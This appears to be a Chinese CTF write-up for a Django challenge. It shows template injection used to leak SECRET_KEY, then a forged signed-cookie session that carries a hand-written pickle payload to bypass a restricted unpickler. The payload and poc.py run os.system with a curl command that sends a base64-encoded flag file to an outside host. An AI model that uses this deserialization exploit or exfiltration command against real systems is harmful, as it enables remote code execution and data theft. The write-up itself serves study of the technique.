0%

[Code-Break]hard - picklecode

0x00 前言

​ 懒狗突然想起来好久没有更新了,于是赶紧爬起来摸了一篇文章。

​ 一道django配合pickle的session伪造。好像和我出的pickle&flask差不多,实际上差太多了。我们直接来看题目吧。

PS: 我使用pker写的payload根本无法使用。只能手写。

0x01 源码

​ 我们发现整个程序的入口文件是views.py。于是尝试在本地跑这个程序。在35行auth.login()这里下断点。

image-20201030100428849

​ 之后开启debug模式运行django程序。尝试使用cioier/1登录。查看SECRET_KEY的位置。因为本身对django不太熟悉的缘故,我这里就不班门弄斧了。最后在request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY找到了。

image-20201030102754823

然后怎么才可以读取SECRET_KEY呢?我们发现index()这里有拼接,猜测可能有SSTI

image-20201030103007017

于是注册/1

image-20201030103203529

拿到了SECRET_KEY之后我们就可以尝试session伪造了。。那么我们去setting.py中看看能不能session伪造吧。看到SESSION的加密模式是cookies,说明可以session伪造。

image-20201030103745029

如果你审计的足够仔细的话会发现SESSION_SERIALIZER = 'core.serializer.PickleSerializer'。这行配置直接打消了我的疑惑。众所周知,在django session中一般是使用json进行数据的格式化的,和flask session有异曲同工之妙。但是这里将格式化的方式从json改为了pickle。所以我们可以在调试的时候发现pickle的数据流。也就是说,我们可以通过控制session的方式来实现pickle反序列化恶意代码。

0x02 分析

​ 有一点难受的就是这里的pickle被过滤了好多啊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))


class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)

def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}

审计完之后我们可以看出来我们只能调用builtins。但是这里的getattr没有过滤。那么我们就可以快乐的getattr获取dict。所以我们可手写出下面的pickle(不懂 pickle 的可以看我之前的文章)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("whoami")'
tR.

然后就是写出poc.py了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from django.core import signing
import pickle
import builtins,io
import base64
import datetime
import json
import re
import time
import zlib
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("curl 192.168.232.1:3333/?$(cat /flag_djang0_p1ckle | base64)")'
tR
.'''


def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b'=')


def pickle_exp(SECRET_KEY):
global data
is_compressed = False
compress = False
if compress:
# Avoid zlib dependency unless compress is being used
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode()
if is_compressed:
base64d = '.' + base64d
SECRET_KEY = SECRET_KEY
print(base64d)
# 根据SECRET_KEY进行Cookie的制造
session = signing.TimestampSigner(key = SECRET_KEY,salt='django.contrib.sessions.backends.signed_cookies').sign(base64d)
print(session)


if __name__ == '__main__':
SECRET_KEY = 'zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm'
pickle_exp(SECRET_KEY)

​ 直接接受flag就好了。

0x03 结语

​ 之后应该会像学习flask一样,我会去学习django的底层算法。之后我们再聊吧。